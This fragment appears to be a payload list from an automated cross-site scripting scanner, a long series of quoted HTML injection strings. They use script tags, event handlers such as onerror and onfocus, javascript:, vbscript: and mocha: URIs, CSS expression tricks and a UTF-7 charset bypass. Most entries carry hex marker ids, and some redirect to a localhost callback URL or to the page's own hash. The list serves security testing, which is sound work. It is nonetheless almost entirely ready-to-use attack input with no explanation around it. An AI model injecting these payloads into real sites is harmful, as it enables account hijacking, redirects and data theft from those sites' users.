      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:7a821fe067634da79c74135adf0fed9b\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:a74036ae1e18fb661557468f167fb529\">X\n",
      "<input onfocus=javascript:8b7e036fa1d089a582537f56639a1ac2 autofocus>\n",
      "<input onblur=javascript:8486decacfe8224a3f9070a033001208 autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:071300b8a24c0ca4c1f2a9cb7773f861 autofocus>\n",
      "<video poster=javascript:f4d711a9b39de84e2dc8cd0b5c505072//\n",
      "<textarea onfocus=javascript:bdd0b3e52c7657f2855f934c425bc19c autofocus>\n",
      "<select onfocus=javascript:00c3313f60fa490797398883a370bb9c autofocus>\n",
      "<video><source onerror=\"javascript:c8c0710e3f3488ece4cab10c5dfb66e1\">\n",
      "<video onerror=\"javascript:7f802875d3f3e76b288750eec7513e2d\"><source>\n",
      "<body onscroll=70eb36b49a30b88fc0cd59e972260921><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:95e10c9b2842e409dc3eba556da70b4f>X\n",
      "X<form id=test onforminput=javascript:fe1ad424368087b0f75aa9f2e90af133><input></form>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=http://localhost:19084/success/a63dd0399d9aae5043606c6ea2dad3cb>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/86688d775dacc40509ef3553791ab9b7\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/e45595d4bc3c76b3789c5128d88370ea'>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<IMG SRC=\"http://localhost:19084/success/d720da3c566620d9c3f184bb1faa847a\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/5b657d76fa1be91c7c8ab9a7aa28cac9\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/bd0511c4548c62aeb8a64cd6948beb39\">\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=`http://localhost:19084/success/5de3134af64aa101dc2b3b369d6e84b9`>\n",
      "<IMG SRC='http://localhost:19084/success/d0f8ebea06a2f2ca0a77119854ebe689'\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/50328cec964117966527a69722e90bf1\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/99b393c5a96bdb35e559ed7633ab87c1\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/b4499b8ebb12f86512599c40fb388da9\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/3be6f3482232041ac4dc9c792dd6c51f]\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/71b59736d26eb856f506345ad6c70176\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/2c209792e7f77e7922c0167730f0baca\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/c2e964c47811b166b5322f6cbd2ff39b\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/fdcfb22348404b6147ba23208019299e]\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/e29a47093ab4bc3f57a591b89c669b2c\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/98a3fa80476f1b68bc1f39521d5810ea\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/f8551b8db20a1281199e6a1b3a89b775\"></IFRAME>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/736a5ab3a6511cfbad95ba97afa0d822\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/40f5e8d20de80a06f68a20e045e12964\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/fce41e930d5e9e95bfc4a89f19e98094\")\";eval(a+b+c+d);\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/cc5356fdea3913dbacaae0d209fe2fbe\")}</STYLE>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/220bad5004ee364669150b8e697ede87\");}</STYLE><A CLASS=XSS></A>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/e33149e93fe3ee8756689a4e9209fddc\"\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<IMG SRC=&{http://localhost:19084/success/3658ab0dbd5a3248e37cc90b2eb0a2f1};>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "\">07e1f0025fe7a5cee5ebcfe1583aec33\n",
      "'';!--\"<f4b488dea21aa308751f94c84e9edd60>=&{()}\"\n",
      "</TITLE>eba971ff4cca373779af9a3cdafdb54e\n",
      "\"><SCRIPT>alert('09a0b329a4afd65ea5f72dbd7b2e5999')</SCRIPT>\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=e06ede30eb12b2e96725dbebeb1c5b5d>\n",
      "\"><img src=\"x:x\" onerror=\"8350c051076fedaac15cb2c297162b2a\">\n",
      "'';!--\"<5d6c1c28e47fb558af8877906a182ee5>=&{()}\"\n",
      "<IMG SRC=\"c21d89139f344d9dfbc84819e7a07461\">\n",
      "<IMG SRC=b462bd8ddec57705d0936198036f2967>\n",
      "<IMG SRC=`5509af4bccf97a81f165028d774ce2fd`>\n",
      "<IMG SRC=\" &#14;  d1bd96fd704d1f0c8c68a3dd3463244f\">\n",
      "<IMG \"\"\">9918cb68cfd3367c4e38f509800ebd8e\">\n",
      "<DIV STYLE=\"behaviour: url(d5572156186be4577dca6b06590573d4);\">\n",
      "<<SCRIPT>3fb6ab465e6bfc6ef0da30a426c88c61//<</SCRIPT>\n",
      "\";e4a00cddb7ffab5b8eb7cf14ddc80343//\n",
      "<IMG SRC='366e7a301907f3035d1f9c861d68c7f3'\n",
      "<BODY BACKGROUND=\"edea693b3555d17ad05f240af6fde66b\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"5585f0a5de20cf03ab94436cd403a4ed\">\n",
      "<BODY ONLOAD=6681525ba4908558551c2348a0d33a60>\n",
      "<IMG DYNSRC=\"f05ca59817f2b1108a84a54a587d0043\">\n",
      "<IMG LOWSRC=\"1b66cb86e58bae2be7f64d9e3b9e1abe\">\n",
      "<BGSOUND SRC=\"953764983448fc723459b87c2bfc9a91\">\n",
      "<BR SIZE=\"&{b817177c91bad49460cffab9c0c84eeb}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"fe142b0b839ecc9d60f57b367c94cf94\">\n",
      "<IMG SRC='vbscript:86be168701cf2ba6f71cde9b25c08b85'>\n",
      "<IMG SRC=\"mocha:[1c6c05f6439342085fed0444c40889b0]\">\n",
      "<IMG SRC=\"livescript:[d8fa5677b73e756a5585cf62d61beb25]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=5e955118247eab09822ab540c4f5a60c\">\n",
      "<TABLE BACKGROUND=\"57b1f3aebd99886467c2baadfc8f6263\">\n",
      "<TABLE BACKGROUND=javascript:b3482db0f829632343d22678831f9550>\n",
      "<TABLE><TD BACKGROUND=\"7af87aa05d0dfa59a7003a063a72379a\">\n",
      "<DIV STYLE=\"background-image: url(78e97e3623b1a5bc3e22e8bd9fec4b6f);\">\n",
      "<DIV STYLE=\"width: expression(f962b9956f3cc375dcc2aed44d53143e);\">\n",
      "<IFRAME SRC=\"8738b848f2c3cacda49337efe401e6ba\"></IFRAME>\n",
      "<iframe/ /onload=4ef5369dd14a7ff1b58df3bcf192c9ad></iframe>\n",
      "<iframe/ \"onload=c62398a662718655049e61a3c79f5b7d></iframe>\n",
      "<iframe///////onload=c5b16d40a4a374ac6113d85812d5754f></iframe>\n",
      "<iframe \"onload=92f90e0385f954aa765879ba3a531318></iframe>\n",
      "<iframe/ \"onload=2fc7816a6ebf1db713282ce97beeead3></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=878767747c9a3dd6e00cde6504cea68d></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=25dfc858c224e5d59c915a6feb4b7ce6></iframe>\n",
      "<FRAMESET><FRAME SRC=\"28eb2df6ed7e4e0288daf921e7be1b8a\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"5c9980df1d3a450cdb707d2065a95b98\">\n",
      "<TABLE><TD BACKGROUND=\"03d5420711ddc7dfcfd53081f34894af\">\n",
      "<DIV STYLE=\"background-image: url(&#1;50e7be653dc343a80363d6fd2e94eefb)\">\n",
      "<DIV STYLE=\"width: expression(c9b5064436fd4d5227e2ec27b97cd456);\">\n",
      "<IMG STYLE=\"xss:expr/*70c847e48213dbf6a090ba6d82385c1e*/ession(70c847e48213dbf6a090ba6d82385c1e)\">\n",
      "<a4c0653bfe8eac045606ed0e6a4d6809 STYLE=\"xss:expression(a4c0653bfe8eac045606ed0e6a4d6809)\">\n",
      "<STYLE TYPE=\"text/javascript\">57737d5b6825e797a4dbc1eec954ebd5</STYLE>\n",
      "<STYLE>.a0c22dc2a0c776226b6c8aaf3bce62c4{background-image:url(\"a0c22dc2a0c776226b6c8aaf3bce62c4\");}</STYLE><A CLASS=a0c22dc2a0c776226b6c8aaf3bce62c4></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"1345864cf2149d5c399a466a9875bc61\")}</STYLE>\n",
      "<!--[if gte IE 4]>db39d9aaa416bbca2f79224f13aec4c7<![endif]-->\n",
      "<BASE HREF=\"9163d11fe5ece99dd0f12ffbf670d6b1//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=e835379b678f2150b4af2daeebe29ce5></OBJECT>\n",
      "<? echo('<SCR)';echo('IPT>b0ee601b08336379fcd69c3dab88fa3c</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"f99b26705f34ced34177b284ed6a5729\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;40e02c8ad4d2104ed0b938a2e86266c5&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>f7a27e21a8fff61d552080f0ddf7843a</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:d8566d86ea1b4f41d0fd8da4a53d78b3\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:b51cb134e8fe503b119b8ceb44699c9d\">\n",
      "--- <IMG SRC=\" &#14;  ac4aa781fde241111f7afac544d6924a\">\n",
      "--- <IMG SRC=\"0d0bb3fa27909b09794be00a533a7603\"\n",
      "<SCRIPT>a=/7253e0f9ce4cede393d1240758938770/alert(a.source)</SCRIPT>\n",
      "--- \";d0013fc8900967cbcc699b98c259da2a;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=af26a37c066523abe5f00a9f4f6f7004\">\n",
      "<SCRIPT <B>=148d86d69ee65892a40650251d3b7e30\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:6b46497021748ac7177487429c97c366 <\n",
      "<LAYER SRC=\"javascript:f3c9a95982ecc6eb3da6ab52497f0d48></LAYER>\n",
      "<SCRIPT>a=/bf99e5b0c9c9dba34c0de44fc397949b/nbf99e5b0c9c9dba34c0de44fc397949b</SCRIPT>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:44da0ca0ce62c369bbe124bf30f845ee\">\n",
      "<STYLE>li {list-style-image: url(\"05bfcf451baffc29a9671fbf9d7224ca</STYLE><UL><LI>05bfcf451baffc29a9671fbf9d7224ca\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-3d141df80cf31385b2252dcaf9a1d3bc+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#ada765cccaaef9bea612d08ca575409b\">\n",
      "<input type=\"image\" dynsrc=\"35f606e8ef4138e65b2d1ee5ed5d085f\">\n",
      "&b88a9dc8814a01a178cafd1e3bb5aabe\">\n",
      "&{5053116eed9792abde29b21d302588c8};\n",
      "<IMG SRC=&{ecc6d3ec1927b18faa8a78b751b464da};>\n",
      "<a href=\"about:66482ec2115bbdc27944dcfdea1d6fa7\">\n",
      "<DIV STYLE=\"binding: url(javascript:c7dcd819421923a9f5346fa0b38cb430);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:99002c7b3eca32ebf80b31d8d63661c4\">\n",
      "![CDATA[<!--]]<SCRIPT>e2f8da7e101f25818cbcfa1191fa7caa//--></SCRIPT>\n",
      "<!-- -- -->ec6670601013908b88e0f0494fb71695<!-- -- -->\n",
      "<style><!--</style><SCRIPT>2de6dcce36aac4abf5ad8905bb660b4f//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>1af3c14a7296470d2a3f31f0dd1059a5;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#8f1dd1902201cf438f6611b905e6ec80\"></div>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:3080bca628ce6107ca90df006c354caf\">X\n",
      "<select onfocus=javascript:62883e72c980760195cefd0741ce0bc2 autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:6438765793eb973dcf8d97ded5ea0c81\">]]</C><X></xml>\n",
      "<input onfocus=javascript:c39469c2f8ae58882e6718ea2f285a58 autofocus>\n",
      "<textarea onfocus=javascript:087ab7f900ac69855936949129a965a5 autofocus>\n",
      "<input onblur=javascript:b5c606734a80ca8d902bd6f676c1b240 autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:ac60418572dd3141ff9825135bd46e69 autofocus>\n",
      "<video poster=javascript:6c9d352ba15c397958d8620d65fb7a1f//\n",
      "<body onscroll=bc1d402763e45c71d6c38775a9a080f2><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:bf3f19f401e0eba53a22287d616ff98e><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:c24988f63c8baaf46d95fa123e0beb6d>X\n",
      "<video><source onerror=\"javascript:07ce898851b791563da89c1ad9087c0a\">\n",
      "<video onerror=\"javascript:a138a99a29bcd0efd8e2516a81b3a64e\"><source>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=\"http://localhost:19084/success/c21d89139f344d9dfbc84819e7a07461\">\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG LOWSRC=\"http://localhost:19084/success/1b66cb86e58bae2be7f64d9e3b9e1abe\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/8350c051076fedaac15cb2c297162b2a\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/fe142b0b839ecc9d60f57b367c94cf94\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/8738b848f2c3cacda49337efe401e6ba\"></IFRAME>\n",
      "<IMG SRC=`http://localhost:19084/success/5509af4bccf97a81f165028d774ce2fd`>\n",
      "<IMG SRC=http://localhost:19084/success/b462bd8ddec57705d0936198036f2967>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/d8fa5677b73e756a5585cf62d61beb25]\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/28eb2df6ed7e4e0288daf921e7be1b8a\"></FRAMESET>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/5585f0a5de20cf03ab94436cd403a4ed\">\n",
      "<IMG SRC='http://localhost:19084/success/366e7a301907f3035d1f9c861d68c7f3'\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/5c9980df1d3a450cdb707d2065a95b98\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/86be168701cf2ba6f71cde9b25c08b85'>\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/edea693b3555d17ad05f240af6fde66b\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/f05ca59817f2b1108a84a54a587d0043\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/953764983448fc723459b87c2bfc9a91\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/1c6c05f6439342085fed0444c40889b0]\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/35f606e8ef4138e65b2d1ee5ed5d085f\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/03d5420711ddc7dfcfd53081f34894af\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/57b1f3aebd99886467c2baadfc8f6263\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/7af87aa05d0dfa59a7003a063a72379a\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/a0c22dc2a0c776226b6c8aaf3bce62c4\");}</STYLE><A CLASS=XSS></A>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/1345864cf2149d5c399a466a9875bc61\")}</STYLE>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/f99b26705f34ced34177b284ed6a5729\")\";eval(a+b+c+d);\n",
      "--- <IMG SRC=\"http://localhost:19084/success/0d0bb3fa27909b09794be00a533a7603\"\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC=&{http://localhost:19084/success/ecc6d3ec1927b18faa8a78b751b464da};>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "\">c1ada219e95cc7577e379124de2f1e62\n",
      "'';!--\"<9c7d5d19a97b68e42f5b7eddf7d4eeca>=&{()}\"\n",
      "</TITLE>70c3fbe95fb461372626c14e3c5acde4\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=dc51b204df80b76f7939a5c42b4bd778>\n",
      "\"><SCRIPT>alert('9a0a26fb7f77d255eb5df3b6c5e07e76')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"3c657fdf73a9d82e4ffa81b7633c86e4\">\n",
      "'';!--\"<59c3757111cb607be5342b524b9e3f77>=&{()}\"\n",
      "<IMG SRC=\"4735b93ac7fdb59b2cf371eca03a5818\">\n",
      "<IMG \"\"\">8576b013b39761d50f32b6c9f6887ef6\">\n",
      "<IMG SRC=`b338f5173c481e8fec3469ecacf1a690`>\n",
      "<IMG SRC=bd79ff4652b9a51e833890a939e72409>\n",
      "<IMG SRC=\" &#14;  3523e7450ebcc27a0ac4dc227ee0e195\">\n",
      "<DIV STYLE=\"behaviour: url(ec82ef78659dd3118881da727b42e434);\">\n",
      "<<SCRIPT>e6d7820afb9d465017aeb3e3891b3d8b//<</SCRIPT>\n",
      "\";3a930b14d50d427f2da9dfa9a5901a01//\n",
      "<IMG SRC='48d75fdff392313d2c444e51edc39fe2'\n",
      "<BODY BACKGROUND=\"8d23865096a5a09c84c02b7833c96d01\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"88f1c3910a8370eb17d3d57a96af0925\">\n",
      "<IMG DYNSRC=\"60e342ade771251a29e4687cffba38d5\">\n",
      "<BODY ONLOAD=e1414cea65803d6d9643849fbdd66649>\n",
      "<IMG LOWSRC=\"fdac24aa9d3e903159748dd06856db15\">\n",
      "<BGSOUND SRC=\"5e71feb8cffa80808c6ee22ee7fe7342\">\n",
      "<BR SIZE=\"&{7ec1136d393208d8742d1c76fac87c12}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"fc5e00b15f4b7e2d7c40dce75feee803\">\n",
      "<IMG SRC=\"mocha:[bd352ba3686eef98724c35101f231cfe]\">\n",
      "<IMG SRC='vbscript:518af90dd0e76f1214c9d3cd143dc827'>\n",
      "<IMG SRC=\"livescript:[627c0a7b1d43ca0a863b9e4a78860f47]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=f259076a185081356e04bd81c9c0ab4d\">\n",
      "<TABLE BACKGROUND=\"d2af4dc2f94e36f31639c265e25a0b1e\">\n",
      "<TABLE BACKGROUND=javascript:2b0eef0128ed0123b85ad7ead760a28d>\n",
      "<TABLE><TD BACKGROUND=\"7606ea8a555ababf13ec0f495cd5177b\">\n",
      "<DIV STYLE=\"background-image: url(81f2fa100a5af323c336f2bc477b9f36);\">\n",
      "<DIV STYLE=\"width: expression(c574a1632de6cfeed8e788f48eaa7aa8);\">\n",
      "<IFRAME SRC=\"353e78ca669ebdce642511cda10a4f99\"></IFRAME>\n",
      "<iframe/ /onload=bbad16bd1c12f6a4f633066c4cd93396></iframe>\n",
      "<iframe/ \"onload=251ff16a1fc8d93c1b23fb9afb103c4e></iframe>\n",
      "<iframe///////onload=b913dbb6982f6b81ca5ca7a316afa9a0></iframe>\n",
      "<iframe \"onload=a047ae686aa4026f50c94e96b1b88235></iframe>\n",
      "<iframe/ \"onload=666a2d197f44d3b53a4d1698529fe653></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=3a032e858b92f549a79c54f800ff7446></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=f7fe4aee98228db5d2d8ab3edecacd2d></iframe>\n",
      "<FRAMESET><FRAME SRC=\"17ce0854d865e9c7009a2ef9efeacc09\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"602aee66f690e085577e322c4a6751ce\">\n",
      "<DIV STYLE=\"background-image: url(&#1;2cb7421e003602cfa3a5afd1c48a0e05)\">\n",
      "<TABLE><TD BACKGROUND=\"9e29ddc13c8b0f2a0d1ec9d1b13c0b81\">\n",
      "<DIV STYLE=\"width: expression(1552f9ce3e4ce09809d251c64d89481e);\">\n",
      "<IMG STYLE=\"xss:expr/*cb88acc054d8dad9a393f1c431915ea3*/ession(cb88acc054d8dad9a393f1c431915ea3)\">\n",
      "<4c3b3c06a3d39f3886cee5cf97657e70 STYLE=\"xss:expression(4c3b3c06a3d39f3886cee5cf97657e70)\">\n",
      "<STYLE>.683275100420e8efdd5ea4474e92616e{background-image:url(\"683275100420e8efdd5ea4474e92616e\");}</STYLE><A CLASS=683275100420e8efdd5ea4474e92616e></A>\n",
      "<STYLE TYPE=\"text/javascript\">29ebf7273033d02679db23d17052ad4a</STYLE>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"0a1e83b81b17105f3b9c4364d67bbbac\")}</STYLE>\n",
